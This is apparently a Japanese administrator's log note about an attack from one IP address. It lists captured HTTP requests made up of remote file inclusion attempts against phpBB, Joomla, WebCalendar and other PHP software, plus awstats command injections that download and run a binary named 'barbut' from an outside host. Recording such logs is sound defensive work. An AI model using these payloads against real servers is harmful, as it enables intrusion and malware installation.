- 21日11時頃
- 194.116.131.6(Poland, Pomorskie, Gdansk, Volta, Linux2.4-2.6, 24hop)
- SSH分散総当り攻撃を仕掛けたIPの一つから,CGIの脆弱性を狙った攻撃が行われる.今回は分散攻撃ではない.
- 直前にポートスキャンを行わない.
- barbutというバイナリをダウンロードして実行するらしい.barbutはIRCサーバーの攻撃プログラムであるらしい.
- ユーザーエージェントはMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)Connection: closeとなっていて,改行(0x0d,0x0a)が抜け落ちているらしい.
/Forums/admin/index.php?phpbb_root_path=http://85.114.128.21/t.txt? HTTP/1.1
/WebCalendar/tools/send_reminders.php?includedir=http://85.114.128.21/t.txt? HTTP/1.1
/appserv/main.php?appserv_root=http://85.114.128.21/t.txt? HTTP/1.1
/awstats.pl?configdir=|echo;cd%20/tmp;wget%2085.114.128.21/barbut;chmod%20755%20barbut;./barbut;echo| HTTP/1.1
/awstats/awstats.pl?configdir=|echo;cd%20/tmp;wget%2085.114.128.21/barbut;chmod%20755%20barbut;./barbut;echo| HTTP/1.1
/cacti/include/config_settings.php?config[include_path]=http://85.114.128.21/t.txt HTTP/1.1
/cacti/include/config_settings.php?config[include_path]=http://85.114.128.21/t.txt? HTTP/1.1
/cal/tools/send_reminders.php?includedir=http://85.114.128.21/t.txt? HTTP/1.1
/calendar/tools/send_reminders.php?includedir=http://85.114.128.21/t.txt HTTP/1.1
/calendar/tools/send_reminders.php?includedir=http://85.114.128.21/t.txt? HTTP/1.1
/calendar/ws/get_reminders.php?includedir=http://85.114.128.21/t.txt? HTTP/1.1
/cgi-bin/awstats.pl?configdir=|echo;cd%20/tmp;wget%2085.114.128.21/barbut;chmod%20755%20barbut;./barbut;echo| HTTP/1.1
/cgi-bin/awstats/awstats.pl?configdir=|echo;cd%20/tmp;wget%2085.114.128.21/barbut;chmod%20755%20barbut;./barbut;echo| HTTP/1.1
/cgi-bin/stats/awstats.pl?configdir=|echo;cd%20/tmp;wget%2085.114.128.21/barbut;chmod%20755%20barbut;./barbut;echo| HTTP/1.1
/claroline/claroline/learnPath/include/scormExport.inc.php?includePath=http://85.114.128.21/t.txt? HTTP/1.1
/claroline/learnPath/include/scormExport.inc.php?includePath=http://85.114.128.21/t.txt? HTTP/1.1
/claroline150/claroline/learnPath/include/scormExport.inc.php?includePath=http://85.114.128.21/t.txt? HTTP/1.1
/claroline150/learnPath/include/scormExport.inc.php?includePath=http://85.114.128.21/t.txt? HTTP/1.1
/claroline160/claroline/learnPath/include/scormExport.inc.php?includePath=http://85.114.128.21/t.txt? HTTP/1.1
/claroline160/learnPath/include/scormExport.inc.php?includePath=http://85.114.128.21/t.txt? HTTP/1.1
/claroline170/learnPath/include/scormExport.inc.php?includePath=http://85.114.128.21/t.txt? HTTP/1.1
/components/com_phpshop/toolbar.phpshop.html.phpmosConfig_absolute_path=http://85.114.128.21/t.txt HTTP/1.1
/dotproject/includes/db_adodb.php?baseDir=http://85.114.128.21/t.txt HTTP/1.1
/elearning/claroline/learnPath/include/scormExport.inc.php?includePath=http://85.114.128.21/t.txt? HTTP/1.1
/forum/impex/ImpExData.php?systempath=http://85.114.128.21/t.txt? HTTP/1.1
/forum/includes/archive/archive_topic.php?phpbb_root_path=http://85.114.128.21/t.txt HTTP/1.1
/forums/impex/ImpExData.php?systempath=http://85.114.128.21/t.txt? HTTP/1.1
/impex/ImpExData.php?systempath=http://85.114.128.21/t.txt? HTTP/1.1
/includes/include_once.php?include_file=http://85.114.128.21/t.txt HTTP/1.1
/includes/joomla.php?includepath=http://85.114.128.21/t.txt? HTTP/1.1
/index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://85.114.128.21/t.txt HTTP/1.1
/index.php?id=1&lang=http://85.114.128.21/t.txt HTTP/1.1
/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://85.114.128.21/t.txt HTTP/1.1
/joomla/includes/joomla.php?includepath=http://85.114.128.21/t.txt? HTTP/1.1
/kalendar/tools/send_reminders.php?includedir=http://85.114.128.21/t.txt? HTTP/1.1
/lang=http://mosConfig_absolute_path= http://85.114.128.21/t.txt HTTP/1.1
/learnPath/include/scormExport.inc.php?includePath=http://85.114.128.21/t.txt? HTTP/1.1
/mambo/index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://85.114.128.21/t.txt HTTP/1.1
/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://85.114.128.21/t.txt HTTP/1.1
/modules/Forums/admin/index.php?phpbb_root_path=http://85.114.128.21/t.txt HTTP/1.1
/modules/Forums/admin/index.php?phpbb_root_path=http://85.114.128.21/t.txt? HTTP/1.1
/modules/My_eGallery/public/displayCategory.php?adminpath=http://85.114.128.21/t.txt HTTP/1.1
/nuke/modules/Forums/admin/index.php?phpbb_root_path=http://85.114.128.21/t.txt? HTTP/1.1
/php/modules/Forums/admin/index.php?phpbb_root_path=http://85.114.128.21/t.txt? HTTP/1.1
/phplive/help.php?css_path=http://85.114.128.21/t.txt HTTP/1.1
/pm/includes/db_adodb.php?baseDir=http://85.114.128.21/t.txt HTTP/1.1
/project/includes/db_adodb.php?baseDir=http://85.114.128.21/t.txt HTTP/1.1
/spaw/spaw_control.class.php?spaw_root=http://85.114.128.21/t.txt HTTP/1.1
/stats/awstats.pl?configdir=|echo;cd%20/tmp;wget%2085.114.128.21/barbut;chmod%20755%20barbut;./barbut;echo| HTTP/1.1
/webcal/tools/send_reminders.php?includedir=http://85.114.128.21/t.txt? HTTP/1.1
/webcalendar/tools/send_reminders.php?includedir=http://85.114.128.21/t.txt HTTP/1.1
/webcalendar/tools/send_reminders.php?includedir=http://85.114.128.21/t.txt? HTTP/1.1
/webcalendar/ws/get_reminders.php?includedir=http://85.114.128.21/t.txt? HTTP/1.1
/webmail/includes/mailaccess/pop3/core.php?CONFIG[pear_dir]=http://85.114.128.21/t.txt HTTP/1.1
/wp-content/plugins/mygallery/myfunctions/mygallerybrowser.php?myPath=http://85.114.128.21/t.txt HTTP/1.1
